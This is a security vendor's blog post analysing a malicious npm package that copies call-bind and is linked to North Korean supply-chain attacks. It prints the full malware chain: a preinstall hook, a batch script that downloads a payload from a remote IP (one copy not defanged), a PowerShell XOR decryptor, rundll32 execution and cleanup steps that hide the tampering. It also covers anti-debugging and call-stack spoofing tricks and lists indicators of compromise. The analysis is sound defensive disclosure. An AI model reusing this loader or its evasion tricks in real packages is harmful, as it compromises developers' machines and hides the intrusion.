DEV Community

Cover image for North Korean State Actors Exploit Open Source Supply Chain via Malicious npm Package
Ariel for Stacklok

Posted on

North Korean State Actors Exploit Open Source Supply Chain via Malicious npm Package

Author: @poppysec
The original post can be found here

On 22nd July, the Trusty threat detection team discovered a malicious npm package published an hour prior. Our package detection system analyzes a number of metadata signals to identify anomalies in the open source package ecosystem.

As such, Trusty flagged the package next-react-notify as suspicious. Further investigation revealed a complex, multi-stage attack chain.

The malicious package is a modified copy of call-bind, a popular npm package with almost 50 million downloads a week. Several script files have been added to the package, including tocall.js, which is responsible for the malicious download and decryption functionality.

One of the first indicators of evasive execution was the presence of a preinstall entry in the package.json file, which functions to execute and delete this script upon installation in the following pattern:

node <script>.js && del <script>.js

Image description

Attribution to North Korean APT

Previous reporting by Phylum (Jul 2024, Nov 2023) highlighted techniques and procedures with notable similarities to those observed in the current sample.

A comprehensive reverse engineering analysis of the final binary by QiAnXin Threat Intelligence Center (Dec 2023) concluded that the attack could be attributed to the North Korean state-sponsored Lazarus Group (APT38).

This package remained live on npm for less than 4 hours before being unpublished; a tactic frequently employed by North Korean groups leveraging the OSS supply chain vector.

The attack chain mirrors patterns reported in previous incidents in initial execution strategies, download mechanisms, hosting infrastructure, and post-execution cleanup processes.

Unlike related packages published in late 2023, which were cryptocurrency-themed, this sample did not focus on cryptocurrency. Instead, it appeared to target developers more broadly, remaining aligned with social engineering tactics typically employed by actors supporting North Korean objectives.

Considering the documented history of open source supply chain attacks by North Korean state-aligned groups and the clear commonalities with earlier samples over the past year, we assert with reasonable confidence that this activity constitutes a continuation of the same campaign observed earlier this month. However, due to overlapping TTPs and infrastructure, we will avoid attribution to any particular group.

Trusty Scoring

Image description

The package had the lowest possible scoring for repository and author activity. No repository URL had been linked to the package, casting further doubt on its provenance. This differs from previous Lazarus-associated samples, where the linked repository has been a key pivot point for security researchers in mapping out the campaign.

Technical Details

tocall.js

The contents of tocall.js can be seen below, with the remote hosting server IP defanged by us.

const os = require("os");
const fs = require("fs");
const { exec } = require("child_process");

const str1 = `
@echo off
curl -o though.crt -L "http://166.88.61[.]72/explorer/search.asp?token=3092" > nul 2>&1
start /b /wait powershell.exe -ExecutionPolicy Bypass -File yui.ps1 > nul 2>&1
del "yui.ps1" > nul 2>&1
if exist "soss.dat" (
  del "soss.dat" > nul 2>&1
)
rename tmpdata.db soss.dat > nul 2>&1
if exist "soss.dat" (
  rundll32 soss.dat, SetExpVal tiend
)
if exist "mod.json" (
  del "package.json" > nul 2>&1
  rename mod.json package.json > nul 2>&1
)
ping 127.0.0.1 -n 2 > nul
if exist "soss.dat" (
  del "soss.dat" > nul 2>&1
)`;

const str2 = `
$path1 = Join-Path $PWD "though.crt"
$path2 = Join-Path $PWD "tmpdata.db"
if ([System.IO.File]::Exists($path1))
{
  $bytes = [System.IO.File]::ReadAllBytes($path1)
  for($i = 0; $i -lt $bytes.count; $i++)
  {
    $bytes[$i] = $bytes[$i] -bxor 0xc5
  }
  [System.IO.File]::WriteAllBytes($path2, $bytes)
  Remove-Item -Path $path1 -Force
}`;

const osType = os.type();

if (osType === "Windows_NT") {
  const fileName = "execu.bat";
  const psfileName = "yui.ps1";
  fs.writeFile(fileName, str1, (err) => {
    if (!err) {
      fs.writeFile(psfileName, str2, (err) => {
        if (!err) {
          const child = exec(`"${fileName}"`, (error, stdout, stderr) => {
            if (error) {
              return;
            }
            if (stderr) {
              return;
            }
            fs.unlink(fileName, (err) => {});
          });
        }
      });
    }
  });
}

Enter fullscreen mode Exit fullscreen mode

The script executed and deleted by the preinstall firstly enumerates the host operating system. If the affected host is a Windows machine, it will then attempt to write the contents of str1 into execu.bat in the current directory. If successful, the contents of str2 will similarly be written into yui.ps1. The batch script is then executed using exec(), and the file is deleted.

Downloader batch script

@echo off
curl -o though.crt -L "http://166.88.61.72/explorer/search.asp?token=3092" > nul 2>&1
start /b /wait powershell.exe -ExecutionPolicy Bypass -File yui.ps1 > nul 2>&1
del "yui.ps1" > nul 2>&1
if exist "soss.dat" (
del "soss.dat" > nul 2>&1
)
rename tmpdata.db soss.dat > nul 2>&1
if exist "soss.dat" (
rundll32 soss.dat, SetExpVal tiend
)
if exist "mod.json" (
del "package.json" > nul 2>&1
rename mod.json package.json > nul 2>&1
)
ping 127.0.0.1 -n 2 > nul
if exist "soss.dat" (
del "soss.dat" > nul 2>&1
)
Enter fullscreen mode Exit fullscreen mode

The batch script saved as execu.bat takes some precautionary measures to discard errors, hide command prompt output, and delete files. This ensures that execution is concealed from the user.

An encrypted second stage is downloaded via curl from the remote server hosted at 166.88.61[.]72 and output as though.crt.

This IP address has previously been resolved to cryptocopedia[.]com, a domain associated with North Korean APTs in Phylum’s report on the call-blockflow npm package published 4 July 2024.

The next lines of the batch script use PowerShell to execute the script yui.ps1 before deleting it. We will jump into yui.ps1 before discussing the rest of execu.bat.

Payload decryption

$path1 = Join-Path $PWD "though.crt"
$path2 = Join-Path $PWD "tmpdata.db"
if ([System.IO.File]::Exists($path1))
{
    $bytes = [System.IO.File]::ReadAllBytes($path1)
    for($i = 0; $i -lt $bytes.count; $i++)
    {
        $bytes[$i] = $bytes[$i] -bxor 0xc5
    }
    [System.IO.File]::WriteAllBytes($path2, $bytes)
    Remove-Item -Path $path1 -Force
}
Enter fullscreen mode Exit fullscreen mode

The script first defines paths in the current working directory for the downloaded though.crt, and a file which does not yet exist, tmpdata.db. It then enters a loop where each byte of though.crt is bitwise XOR decrypted with the key 0xc5, and the result is written to the DB file stated. This decrypted file is a 64-bit DLL with a misleading file extension.

The initial CRT file is then deleted, and execution returns to the batch script.

Execution

This resulting DLL is then renamed to soss.dat. Using the Windows LOLBin rundll32, the DLL’s sole exported function SetExpVal is executed with the parameter tiend.

rename tmpdata.db soss.dat > nul 2>&1
if exist "soss.dat" (
rundll32 soss.dat, SetExpVal tiend
)
Enter fullscreen mode Exit fullscreen mode

Cleanup

As mentioned, during the course of execution the threat actor took several steps to cover their tracks, such as deleting any files dropped on disk, and hiding traces of execution. Significantly, the malicious package.json is removed and replaced with a benign version, mod.json, which does not contain the key preinstall script entry.

if exist "mod.json" (
del "package.json" > nul 2>&1
rename mod.json package.json > nul 2>&1
)
ping 127.0.0.1 -n 2 > nul
if exist "soss.dat" (
del "soss.dat" > nul 2>&1
)
Enter fullscreen mode Exit fullscreen mode

Hence after installing the package via npm, the user would remain unaware that any malicious activity had occurred.

Second-stage DLL - soss.dat

Properties

- -
File Name soss.dat
File Type PE DLL, 64-bit
Compilation operating system Windows Vista
Time date stamp 2024-07-10 15:45:13
Size 102.50 KB (104960 bytes)
SHA256 43a28fc5a1ee46da0e5698fed473802ab6af5f83233b9287459ec2e0f6250efa
ssdeep 384:ga7wez/uXHFCZBem2Wx6MN99Sjvb99SjvWpN:g0bz/QHFCTemFL9Sbh9Sb
PDB file name D:\workstation\codingStation\C_Workstation\2024\Simple Dll\x64\Release\Simple Dll.pdb

Evasion and anti-analysis

We are continuing to analyze the decrypted payload DLL, but initial examination of both the import functions and the most relevant subroutines after disassembly suggests a considerable level of sophistication, with several layers of defense against detection and debugging.

Static analysis of the DLL revealed various anti-analysis and anti-debugging techniques. We also noted the use of stack unwinding, which could be utilized to evade detection via call stack tracing (a feature of some EDRs).

The sample was first submitted to VirusTotal on 2024-07-12. At the time of writing, automated sandboxes detections remain relatively sparse due to these successful anti-analysis efforts.

IsProcessorFeaturePresent

The Windows API function IsProcessorFeaturePresent is invoked with the argument 0x17 - where 0x17 corresponds to PF_FASTFAIL_AVAILABLE. This is used to check if the __fastfail option is available. If not, the process is terminated immediately with RtlFailFast (int 0x29).

Excerpt of sub_180001020

Image description

QueryPerformanceCounter

In subroutine sub_18000150c, we observed the use of the Windows API QueryPerformanceCounter.

While this function can identify long delays caused by a debugger, in this context, it appears to be part of a unique identifier generation process. This identifier potentially forms a mutex name and is derived from system time, thread ID, and process ID through a series of XOR operations and bitwise shifts.

Excerpt of sub_18000150c

Image description

Call stack spoofing

Subroutine sub_18000192C implements a stack walk by capturing the current execution context RtlCaptureContext, looking up each function entry RtlLookupFunctionEntry, and then unwinding the stack with RtlVirtualUnwind. The context record is updated to a new address, and further memory manipulation is carried out.

By doing this the malware can dynamically modify the return address and adjust call stack frames to create the facade of a benign call stack, avoiding inspection by EDRs.

This is an effort to frustrate analysis and hide the true execution flow.

Image description

Exception handling

Later in sub_18000192C, the API IsDebuggerPresent is used, storing the result in the rbx register. SetUnhandledExceptionFilter and UnhandledExceptionFilter can be used in combination to check for the presence of a debugger by replacing the top-level exception handler. If these checks pass, another subroutine is called.

Image description

Further stages

The DLL also contains functionality to decrypt a later-stage payload.

Given our initial analysis as well as the findings from the detailed report by QiAnXin in late 2023, it is likely that this DLL acts as an intermediary stage before the final payload is fetched, possibly via multiple further loading stages.

IOCs

URL
http://166.88.61[.]72/explorer/search.asp?token=3092

SHA256
soss.dat
43a28fc5a1ee46da0e5698fed473802ab6af5f83233b9287459ec2e0f6250efa

though.crt
9d27159f34d4534afaa3f3e8de51c4d9b2e4001235633bac43bd7d3772cb774e

next-react-notify-1.0.0.tgz337c114002a8b25b1ee47546b637391d413a2bfb7275c439c8758a23fc77e441

tocall.js
B57b75d015526b862ae469b825c7a18a157927e0c9415050f1abe9df67523520

The contents of the next-react-notify package can be reviewed in full on Stacklok’s jail repository on GitHub.

Top comments (0)